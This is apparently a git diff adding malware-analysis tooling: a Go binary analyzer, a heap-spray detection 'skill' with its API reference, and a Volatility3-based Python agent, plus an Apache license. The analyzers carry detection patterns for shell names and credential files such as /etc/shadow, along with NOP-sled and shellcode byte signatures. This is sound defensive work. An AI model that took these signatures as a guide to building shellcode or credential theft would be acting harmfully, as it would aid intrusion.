||||
# Garble replaces function names with hashes
|
||||
hash_names = sum(1 for s in strings_list if re.match(r"^[a-f0-9]{16,}$", s))
|
||||
if hash_names > 20:
|
||||
indicators["obfuscated"] = True
|
||||
indicators["techniques"].append("Possible garble obfuscation (hash-like function names)")
|
||||
|
||||
# Missing gopclntab suggests stripping
|
||||
if not go_info.get("gopclntab_found"):
|
||||
indicators["techniques"].append("gopclntab not found - may be stripped or modified")
|
||||
|
||||
# Low runtime string count
|
||||
if go_info.get("runtime_strings_found", 0) < 2:
|
||||
indicators["obfuscated"] = True
|
||||
indicators["techniques"].append("Low Go runtime string count - possible obfuscation")
|
||||
|
||||
return indicators
|
||||
|
||||
|
||||
def generate_report(filepath):
|
||||
"""Generate comprehensive Go malware analysis report."""
|
||||
report = {
|
||||
"file": filepath,
|
||||
"sha256": compute_hash(filepath),
|
||||
"size": os.path.getsize(filepath),
|
||||
}
|
||||
|
||||
go_info = detect_go_binary(filepath)
|
||||
report["go_detection"] = go_info
|
||||
|
||||
if not go_info["is_go_binary"]:
|
||||
report["conclusion"] = "Not identified as a Go binary"
|
||||
return report
|
||||
|
||||
strings_list = extract_go_strings(filepath)
|
||||
report["total_strings"] = len(strings_list)
|
||||
|
||||
packages = extract_go_packages(strings_list)
|
||||
report["packages"] = packages[:50]
|
||||
|
||||
suspicious = detect_suspicious_packages(packages)
|
||||
report["suspicious_packages"] = suspicious
|
||||
|
||||
sections = analyze_sections(filepath)
|
||||
report["sections"] = sections
|
||||
|
||||
obfuscation = detect_obfuscation(go_info, strings_list)
|
||||
report["obfuscation"] = obfuscation
|
||||
|
||||
return report
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Go Malware Analysis Agent (Ghidra-assisted)")
|
||||
print("Go binary detection, package extraction, obfuscation detection")
|
||||
print("=" * 60)
|
||||
|
||||
target = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
|
||||
if not target or not os.path.exists(target):
|
||||
print("\n[DEMO] Usage: python agent.py <go_binary>")
|
||||
sys.exit(0)
|
||||
|
||||
report = generate_report(target)
|
||||
go = report.get("go_detection", {})
|
||||
print(f"\n[*] File: {target}")
|
||||
print(f"[*] SHA-256: {report['sha256']}")
|
||||
print(f"[*] Go binary: {go.get('is_go_binary', False)}")
|
||||
print(f"[*] Go version: {go.get('go_version', 'unknown')}")
|
||||
print(f"[*] Strings: {report.get('total_strings', 0)}")
|
||||
|
||||
print("\n--- Packages ---")
|
||||
for pkg in report.get("packages", [])[:15]:
|
||||
print(f" {pkg}")
|
||||
|
||||
print("\n--- Suspicious Packages ---")
|
||||
for s in report.get("suspicious_packages", []):
|
||||
print(f" [!] {s['package']}: {s['concern']}")
|
||||
|
||||
print("\n--- Obfuscation ---")
|
||||
obf = report.get("obfuscation", {})
|
||||
print(f" Obfuscated: {obf.get('obfuscated', False)}")
|
||||
for t in obf.get("techniques", []):
|
||||
print(f" {t}")
|
||||
|
||||
print(f"\n{json.dumps(report, indent=2, default=str)}")
|
||||
@@ -0,0 +1,162 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Go Malware Binary Analyzer
|
||||
|
||||
Extracts metadata, function names, dependencies, and suspicious
|
||||
indicators from Go-compiled malware binaries.
|
||||
|
||||
Usage:
|
||||
python process.py --file malware.exe --output report.json
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import re
|
||||
import struct
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
PCLNTAB_MAGICS = {
|
||||
b'\xf0\xff\xff\xff': "Go 1.20+",
|
||||
b'\xf1\xff\xff\xff': "Go 1.18-1.19",
|
||||
b'\xfa\xff\xff\xff': "Go 1.16-1.17",
|
||||
b'\xfb\xff\xff\xff': "Go 1.2-1.15",
|
||||
}
|
||||
|
||||
|
||||
def find_pclntab(data):
|
||||
for magic, version in PCLNTAB_MAGICS.items():
|
||||
offset = data.find(magic)
|
||||
if offset != -1:
|
||||
return offset, version
|
||||
return None, None
|
||||
|
||||
|
||||
def extract_go_version(data):
|
||||
match = re.search(rb'go(\d+\.\d+(?:\.\d+)?)', data)
|
||||
return match.group(1).decode() if match else "unknown"
|
||||
|
||||
|
||||
def extract_functions(data):
|
||||
func_pattern = re.compile(
|
||||
rb'((?:main|runtime|fmt|net|os|crypto|encoding|io|sync|'
|
||||
rb'syscall|reflect|strings|bytes|path|time|math|sort|'
|
||||
rb'github\.com|golang\.org|gopkg\.in)[/\.][\w/.]+)'
|
||||
)
|
||||
functions = set()
|
||||
for match in func_pattern.finditer(data):
|
||||
name = match.group(1).decode('utf-8', errors='replace')
|
||||
if 4 < len(name) < 200:
|
||||
functions.add(name)
|
||||
return sorted(functions)
|
||||
|
||||
|
||||
def extract_dependencies(data):
|
||||
dep_pattern = re.compile(
|
||||
rb'((?:github\.com|gitlab\.com|golang\.org|gopkg\.in|'
|
||||
rb'go\.etcd\.io|google\.golang\.org)/[\w./-]{5,80})'
|
||||
)
|
||||
deps = set()
|
||||
for match in dep_pattern.finditer(data):
|
||||
dep = match.group(1).decode('utf-8', errors='replace')
|
||||
# Clean up trailing artifacts
|
||||
dep = dep.rstrip('/.')
|
||||
deps.add(dep)
|
||||
return sorted(deps)
|
||||
|
||||
|
||||
def extract_suspicious_strings(data):
|
||||
interesting_patterns = [
|
||||
rb'https?://[\w./:?&=-]+',
|
||||
rb'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(?::\d+)?',
|
||||
rb'(?:cmd|powershell|bash|sh)(?:\.exe)?',
|
||||
rb'(?:HKLM|HKCU)\\[^\x00]+',
|
||||
rb'/etc/(?:passwd|shadow|crontab)',
|
||||
]
|
||||
|
||||
results = {}
|
||||
for pattern in interesting_patterns:
|
||||
matches = re.findall(pattern, data)
|
||||
if matches:
|
||||
decoded = [m.decode('utf-8', errors='replace') for m in matches]
|
||||
results[pattern.decode('utf-8', errors='replace')] = list(set(decoded))
|
||||
|
||||
return results
|
||||
|
||||
|
||||
def categorize_functions(functions):
|
||||
categories = {
|
||||
"main_logic": [],
|
||||
"networking": [],
|
||||
"cryptography": [],
|
||||
"os_execution": [],
|
||||
"file_operations": [],
|
||||
"third_party": [],
|
||||
"runtime": [],
|
||||
}
|
||||
|
||||
for func in functions:
|
||||
fl = func.lower()
|
||||
if func.startswith('main.'):
|
||||
categories["main_logic"].append(func)
|
||||
elif any(x in fl for x in ['net/', 'http', 'tcp', 'udp', 'dns']):
|
||||
categories["networking"].append(func)
|
||||
elif 'crypto' in fl:
|
||||
categories["cryptography"].append(func)
|
||||
elif any(x in fl for x in ['os/exec', 'syscall']):
|
||||
categories["os_execution"].append(func)
|
||||
elif any(x in fl for x in ['os.', 'io/', 'ioutil']):
|
||||
categories["file_operations"].append(func)
|
||||
elif any(x in fl for x in ['github.com', 'golang.org', 'gopkg.in']):
|
||||
categories["third_party"].append(func)
|
||||
elif func.startswith('runtime.'):
|
||||
categories["runtime"].append(func)
|
||||
|
||||
return {k: v for k, v in categories.items() if v}
|
||||
|
||||
|
||||
def analyze(filepath):
|
||||
with open(filepath, 'rb') as f:
|
||||
data = f.read()
|
||||
|
||||
report = {
|
||||
"file": str(filepath),
|
||||
"size": len(data),
|
||||
"go_version": extract_go_version(data),
|
||||
}
|
||||
|
||||
pclntab_offset, pclntab_version = find_pclntab(data)
|
||||
report["pclntab"] = {
|
||||
"offset": f"0x{pclntab_offset:x}" if pclntab_offset else None,
|
||||
"version": pclntab_version,
|
||||
}
|
||||
|
||||
functions = extract_functions(data)
|
||||
report["total_functions"] = len(functions)
|
||||
report["function_categories"] = categorize_functions(functions)
|
||||
|
||||
report["dependencies"] = extract_dependencies(data)
|
||||
report["suspicious_strings"] = extract_suspicious_strings(data)
|
||||
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Go Malware Analyzer")
|
||||
parser.add_argument("--file", required=True, help="Go binary to analyze")
|
||||
parser.add_argument("--output", help="Output JSON report")
|
||||
|
||||
args = parser.parse_args()
|
||||
report = analyze(args.file)
|
||||
|
||||
print(json.dumps(report, indent=2))
|
||||
|
||||
if args.output:
|
||||
with open(args.output, 'w') as f:
|
||||
json.dump(report, f, indent=2)
|
||||
print(f"\n[+] Report saved to {args.output}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,64 @@
|
||||
---
|
||||
name: analyzing-heap-spray-exploitation
|
||||
description: Detect and analyze heap spray attacks in memory dumps using Volatility3
|
||||
plugins to identify NOP sled patterns, shellcode landing zones, and suspicious large
|
||||
allocations in process virtual address space.
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- malware-analysis
|
||||
- memory-forensics
|
||||
- heap-spray
|
||||
- volatility3
|
||||
- exploit-analysis
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1203
|
||||
- T1059.007
|
||||
- T1106
|
||||
---
|
||||
# Analyzing Heap Spray Exploitation
|
||||
|
||||
## Overview
|
||||
|
||||
Heap spraying is an exploitation technique that fills large regions of a process's heap with attacker-controlled data (typically NOP sleds followed by shellcode) to increase the reliability of code execution exploits. This skill covers detecting heap spray artifacts in memory dumps using Volatility3's malfind, vadinfo, and memmap plugins, identifying suspicious contiguous memory allocations, scanning for NOP sled patterns (0x90, 0x0c0c0c0c), and extracting embedded shellcode for analysis.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require analyzing heap spray exploitation
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.9+ with `volatility3` framework installed
|
||||
- Memory dump file (.raw, .vmem, .dmp format)
|
||||
- Understanding of virtual memory layout and VAD (Virtual Address Descriptor) trees
|
||||
- Familiarity with common shellcode patterns and NOP sled encodings
|
||||
|
||||
## Steps
|
||||
|
||||
### Step 1: Identify Suspicious Processes
|
||||
Use Volatility3 windows.malfind to scan for processes with executable injected memory regions.
|
||||
|
||||
### Step 2: Analyze VAD Entries
|
||||
Examine VAD tree entries using windows.vadinfo for large contiguous allocations with RWX permissions.
|
||||
|
||||
### Step 3: Scan for NOP Sled Patterns
|
||||
Search suspicious memory regions for NOP sled signatures (0x90 sequences, 0x0c0c0c0c patterns).
|
||||
|
||||
### Step 4: Extract and Analyze Shellcode
|
||||
Dump suspicious memory regions and identify shellcode using byte pattern analysis.
|
||||
|
||||
## Expected Output
|
||||
|
||||
JSON report with suspicious processes, heap spray indicators, NOP sled locations, memory region sizes, and extracted shellcode hashes.
|
||||
@@ -0,0 +1,55 @@
|
||||
# API Reference: Analyzing Heap Spray Exploitation
|
||||
|
||||
## Volatility3 Plugins for Heap Spray Analysis
|
||||
|
||||
| Plugin | Command | Purpose |
|
||||
|--------|---------|---------|
|
||||
| malfind | `vol -f dump.raw windows.malfind` | Find injected executable memory regions |
|
||||
| vadinfo | `vol -f dump.raw windows.vadinfo` | Virtual Address Descriptor details |
|
||||
| memmap | `vol -f dump.raw windows.memmap --pid PID --dump` | Dump process memory to files |
|
||||
| pslist | `vol -f dump.raw windows.pslist` | List running processes |
|
||||
| handles | `vol -f dump.raw windows.handles --pid PID` | List process handles |
|
||||
|
||||
## Common Heap Spray NOP Sled Patterns
|
||||
|
||||
| Pattern | Hex | Description |
|
||||
|---------|-----|-------------|
|
||||
| x86 NOP | 0x90909090 | Classic NOP instruction |
|
||||
| 0x0C landing | 0x0C0C0C0C | Common heap spray address target |
|
||||
| 0x0D landing | 0x0D0D0D0D | Alternative spray address |
|
||||
| 0x0A landing | 0x0A0A0A0A | Alternative spray address |
|
||||
| 0x41 fill | 0x41414141 | "AAAA" padding fill |
|
||||
|
||||
## Shellcode Signatures
|
||||
|
||||
| Bytes | Mnemonic | Context |
|
||||
|-------|----------|---------|
|
||||
| FC E8 | CLD; CALL | Common shellcode prologue |
|
||||
| 60 E8 | PUSHAD; CALL | Register-saving shellcode start |
|
||||
| 31 C0 50 68 | XOR EAX; PUSH; PUSH | Stack setup for API call |
|
||||
| E8 FF FF FF FF | CALL $+5 | Self-locating shellcode (GetPC) |
|
||||
|
||||
## Detection Thresholds
|
||||
|
||||
| Indicator | Threshold | Meaning |
|
||||
|-----------|-----------|---------|
|
||||
| Large allocation | >= 1 MB per region | Suspicious heap allocation |
|
||||
| Total spray size | >= 50 MB per process | Strong heap spray indicator |
|
||||
| NOP sled count | >= 20 repeated bytes | NOP sled detected |
|
||||
| RWX permissions | PAGE_EXECUTE_READWRITE | Injected executable code |
|
||||
|
||||
## Install Volatility3
|
||||
|
||||
```bash
|
||||
pip install volatility3
|
||||
# Or from source:
|
||||
git clone https://github.com/volatilityfoundation/volatility3.git
|
||||
cd volatility3 && pip install -e .
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- Volatility3 GitHub: https://github.com/volatilityfoundation/volatility3
|
||||
- Volatility3 malfind: https://volatility3.readthedocs.io/en/latest/
|
||||
- Heap Spray Techniques: https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
|
||||
- DFRWS 2025 Workshop: https://webdiis.unizar.es/~ricardo/dfrws-eu-25-workshop/
|
||||
@@ -0,0 +1,219 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for analyzing heap spray exploitation in memory dumps.
|
||||
|
||||
Detects heap spray artifacts using Volatility3 by scanning for
|
||||
NOP sled patterns, large contiguous allocations, and injected
|
||||
executable regions in process virtual address space.
|
||||
"""
|
||||
# For authorized forensic analysis only
|
||||
|
||||
import argparse
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
from collections import defaultdict
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
NOP_PATTERNS = {
|
||||
"x86_nop": b"\x90" * 16,
|
||||
"heap_spray_0c": b"\x0c" * 16,
|
||||
"heap_spray_0d": b"\x0d" * 16,
|
||||
"heap_spray_0a": b"\x0a" * 16,
|
||||
"heap_spray_04": b"\x04" * 16,
|
||||
"heap_spray_41": b"\x41" * 16,
|
||||
}
|
||||
|
||||
SHELLCODE_MARKERS = [
|
||||
b"\xfc\xe8", # CLD; CALL
|
||||
b"\x60\xe8", # PUSHAD; CALL
|
||||
b"\xeb\x10\x5a", # JMP SHORT; POP EDX
|
||||
b"\x31\xc0\x50\x68", # XOR EAX; PUSH; PUSH
|
||||
b"\xe8\xff\xff\xff\xff", # CALL $+5 (self-locating)
|
||||
]
|
||||
|
||||
SUSPICIOUS_ALLOC_THRESHOLD = 0x100000 # 1 MB
|
||||
|
||||
|
||||
class HeapSprayAnalyzer:
|
||||
"""Detects heap spray exploitation artifacts in memory dumps."""
|
||||
|
||||
def __init__(self, memory_dump, output_dir="./heap_spray_analysis"):
|
||||
self.memory_dump = memory_dump
|
||||
self.output_dir = Path(output_dir)
|
||||
self.output_dir.mkdir(parents=True, exist_ok=True)
|
||||
self.findings = []
|
||||
|
||||
def _run_vol3(self, plugin, extra_args=None):
|
||||
"""Run a Volatility3 plugin and return stdout."""
|
||||
cmd = ["vol", "-f", self.memory_dump, plugin]
|
||||
if extra_args:
|
||||
cmd.extend(extra_args)
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
|
||||
return result.stdout
|
||||
except (FileNotFoundError, subprocess.TimeoutExpired):
|
||||
return ""
|
||||
|
||||
def run_malfind(self):
|
||||
"""Run windows.malfind to detect injected executable memory."""
|
||||
output = self._run_vol3("windows.malfind")
|
||||
entries = []
|
||||
current = {}
|
||||
for line in output.splitlines():
|
||||
parts = line.split()
|
||||
if len(parts) >= 6 and parts[0].isdigit():
|
||||
if current:
|
||||
entries.append(current)
|
||||
current = {
|
||||
"pid": int(parts[0]),
|
||||
"process": parts[1],
|
||||
"start_addr": parts[2],
|
||||
"end_addr": parts[3],
|
||||
"protection": parts[5] if len(parts) > 5 else "",
|
||||
}
|
||||
elif current and line.strip().startswith("0x"):
|
||||
hex_match = re.findall(r"[0-9a-fA-F]{2}", line.split(" ")[0] if " " in line else line)
|
||||
if "hex_bytes" not in current:
|
||||
current["hex_bytes"] = ""
|
||||
current["hex_bytes"] += "".join(hex_match)
|
||||
if current:
|
||||
entries.append(current)
|
||||
return entries
|
||||
|
||||
def run_vadinfo(self):
|
||||
"""Run windows.vadinfo to find large suspicious allocations."""
|
||||
output = self._run_vol3("windows.vadinfo")
|
||||
large_allocs = []
|
||||
for line in output.splitlines():
|
||||
parts = line.split()
|
||||
if len(parts) >= 5 and parts[0].isdigit():
|
||||
try:
|
||||
pid = int(parts[0])
|
||||
start = int(parts[2], 16) if parts[2].startswith("0x") else 0
|
||||
end = int(parts[3], 16) if parts[3].startswith("0x") else 0
|
||||
size = end - start
|
||||
if size >= SUSPICIOUS_ALLOC_THRESHOLD:
|
||||
large_allocs.append({
|
||||
"pid": pid, "process": parts[1],
|
||||
"start": hex(start), "end": hex(end),
|
||||
"size_bytes": size, "size_mb": round(size / (1024 * 1024), 2),
|
||||
})
|
||||
except (ValueError, IndexError):
|
||||
continue
|
||||
return large_allocs
|
||||
|
||||
def scan_dump_for_patterns(self, dump_path):
|
||||
"""Scan a memory dump file for NOP sled and shellcode patterns."""
|
||||
matches = {"nop_sleds": [], "shellcode_markers": []}
|
||||
try:
|
||||
with open(dump_path, "rb") as f:
|
||||
data = f.read()
|
||||
except (FileNotFoundError, PermissionError):
|
||||
return matches
|
||||
|
||||
for name, pattern in NOP_PATTERNS.items():
|
||||
offset = 0
|
||||
count = 0
|
||||
while True:
|
||||
idx = data.find(pattern, offset)
|
||||
if idx == -1:
|
||||
break
|
||||
count += 1
|
||||
offset = idx + len(pattern)
|
||||
if count > 100:
|
||||
break
|
||||
if count > 0:
|
||||
matches["nop_sleds"].append({"pattern": name, "occurrences": count})
|
||||
|
||||
for marker in SHELLCODE_MARKERS:
|
||||
idx = data.find(marker)
|
||||
if idx != -1:
|
||||
context = data[idx:idx + 64]
|
||||
matches["shellcode_markers"].append({
|
||||
"offset": hex(idx),
|
||||
"bytes": context.hex()[:128],
|
||||
"sha256": hashlib.sha256(context).hexdigest(),
|
||||
})
|
||||
return matches
|
||||
|
||||
def dump_process_memory(self, pid):
|
||||
"""Dump a process's memory using Volatility3 memmap."""
|
||||
dump_dir = self.output_dir / f"pid_{pid}"
|
||||
dump_dir.mkdir(exist_ok=True)
|
||||
self._run_vol3("windows.memmap", ["--pid", str(pid), "--dump",
|
||||
"--output-dir", str(dump_dir)])
|
||||
dumps = list(dump_dir.glob("*.dmp"))
|
||||
return [str(d) for d in dumps]
|
||||
|
||||
def analyze(self):
|
||||
"""Run full heap spray analysis pipeline."""
|
||||
malfind_results = self.run_malfind()
|
||||
large_allocs = self.run_vadinfo()
|
||||
|
||||
spray_candidates = defaultdict(list)
|
||||
for alloc in large_allocs:
|
||||
spray_candidates[alloc["pid"]].append(alloc)
|
||||
|
||||
for pid, allocs in spray_candidates.items():
|
||||
total_mb = sum(a["size_mb"] for a in allocs)
|
||||
if total_mb > 50:
|
||||
self.findings.append({
|
||||
"severity": "high", "type": "Heap Spray Indicator",
|
||||
"detail": f"PID {pid}: {total_mb:.1f} MB in {len(allocs)} large allocations",
|
||||
})
|
||||
|
||||
for entry in malfind_results:
|
||||
hex_bytes = entry.get("hex_bytes", "")
|
||||
if hex_bytes.count("90") > 20 or hex_bytes.count("0c") > 20:
|
||||
self.findings.append({
|
||||
"severity": "critical", "type": "NOP Sled in Injected Region",
|
||||
"detail": f"PID {entry['pid']} ({entry['process']}): "
|
||||
f"NOP sled at {entry['start_addr']}",
|
||||
})
|
||||
|
||||
return {
|
||||
"malfind_entries": malfind_results,
|
||||
"large_allocations": large_allocs,
|
||||
"spray_candidate_pids": list(spray_candidates.keys()),
|
||||
}
|
||||
|
||||
def generate_report(self):
|
||||
analysis = self.analyze()
|
||||
|
||||
report = {
|
||||
"report_date": datetime.utcnow().isoformat(),
|
||||
"memory_dump": self.memory_dump,
|
||||
"malfind_count": len(analysis["malfind_entries"]),
|
||||
"large_allocation_count": len(analysis["large_allocations"]),
|
||||
**analysis,
|
||||
"findings": self.findings,
|
||||
"total_findings": len(self.findings),
|
||||
}
|
||||
out = self.output_dir / "heap_spray_report.json"
|
||||
with open(out, "w") as f:
|
||||
json.dump(report, f, indent=2, default=str)
|
||||
print(json.dumps(report, indent=2, default=str))
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Analyze memory dumps for heap spray exploitation artifacts"
|
||||
)
|
||||
parser.add_argument("memory_dump", help="Path to memory dump file (.raw, .vmem, .dmp)")
|
||||
parser.add_argument("--output-dir", default="./heap_spray_analysis",
|
||||
help="Output directory for report and dumps")
|
||||
parser.add_argument("--alloc-threshold", type=int, default=0x100000,
|
||||
